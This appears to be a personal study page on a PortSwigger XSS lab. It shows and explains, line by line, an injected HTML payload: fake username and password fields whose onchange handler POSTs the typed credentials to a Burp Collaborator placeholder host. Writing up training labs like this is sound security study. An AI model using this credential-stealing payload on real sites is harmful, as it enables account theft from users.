> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/xss/xss-contexts/lab-6.md).

# Lab 6

<figure><img src="/files/IrSlzpKuTVj2WGTGC7m4" alt=""><figcaption></figcaption></figure>

```html
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```

#### What is `<input>`?

`<input>` is an HTML **form element** — it creates a field the user can type into (text box, password box, checkbox, etc., depending on `type`). It's a **self-closing tag** (no separate closing `</input>` needed).

**`name`**

* Used when the form is **submitted** to a server. The browser packages up `name=value` pairs and sends them (e.g., `username=simon&password=1234`).
* Also used to reference the field in some older JS/form APIs (`document.forms[0].username`).

**`id`**

* A **unique identifier** for that specific element, used for JS/CSS to grab that exact element.
* Lets you do `document.getElementById('username')` to reference it directly.

#### Can HTML attributes contain JavaScript? Yes — event handler attributes

`onchange`, `onclick`, `onmouseover`, `onload`, etc. are called **inline event handlers**. They're special HTML attributes that the browser recognizes as "run this JavaScript when this event happens."

```javascript
if (this.value.length) fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
  method: 'POST',
  mode: 'no-cors',
  body: username.value + ':' + this.value
});
```

* **`this`** — inside an inline event handler, `this` refers to the element the handler is attached to (the password input itself).
* **`this.value`** — the current text typed into the password field.
* **`this.value.length`** — checks the string isn't empty (a truthy check — if length is 0, `if(0)` is falsy, so it skips firing on empty submits).
* **`username.value`** — remember how `id=username` auto-created a global JS variable called `username`? This grabs the *current* text in the username field.
* **`username.value + ':' + this.value`** — string concatenation, building something like `"simon:mypassword123"` to send as the body.
* **`fetch(...)`** — same as before: sends this data via POST to your Collaborator URL.
* **`mode: 'no-cors'`** — same reason as before: this is a cross-origin request (going from the vulnerable site to your Collaborator domain), and you only care about sending data out, not reading a response, so `no-cors` avoids CORS restrictions blocking the send.

> "this" in JavaScript refers to the context in which a function is executed, typically pointing to the object that the function is a method of. The value of "this" can change based on how the function is called, such as in an object method or as a standalone function

{% hint style="info" %}
In JavaScript, curly braces `{}` after `if` are only needed when you have **multiple statements** you want grouped together:
{% endhint %}

**`FormData`** is a built-in JS object designed to represent form submission data — essentially a structured key-value container that mimics what a real `<form>` would submit. `new FormData()` creates an empty one, and `.append(key, value)` adds fields to it, one at a time

{% hint style="info" %}
`<form>` is an HTML element that groups together input fields (text boxes, checkboxes, password fields, buttons, etc.) so they can be **submitted together** as one unit — usually to a server.
{% endhint %}

<figure><img src="/files/hvXlbUZBCvOhJUHN66fx" alt=""><figcaption></figcaption></figure>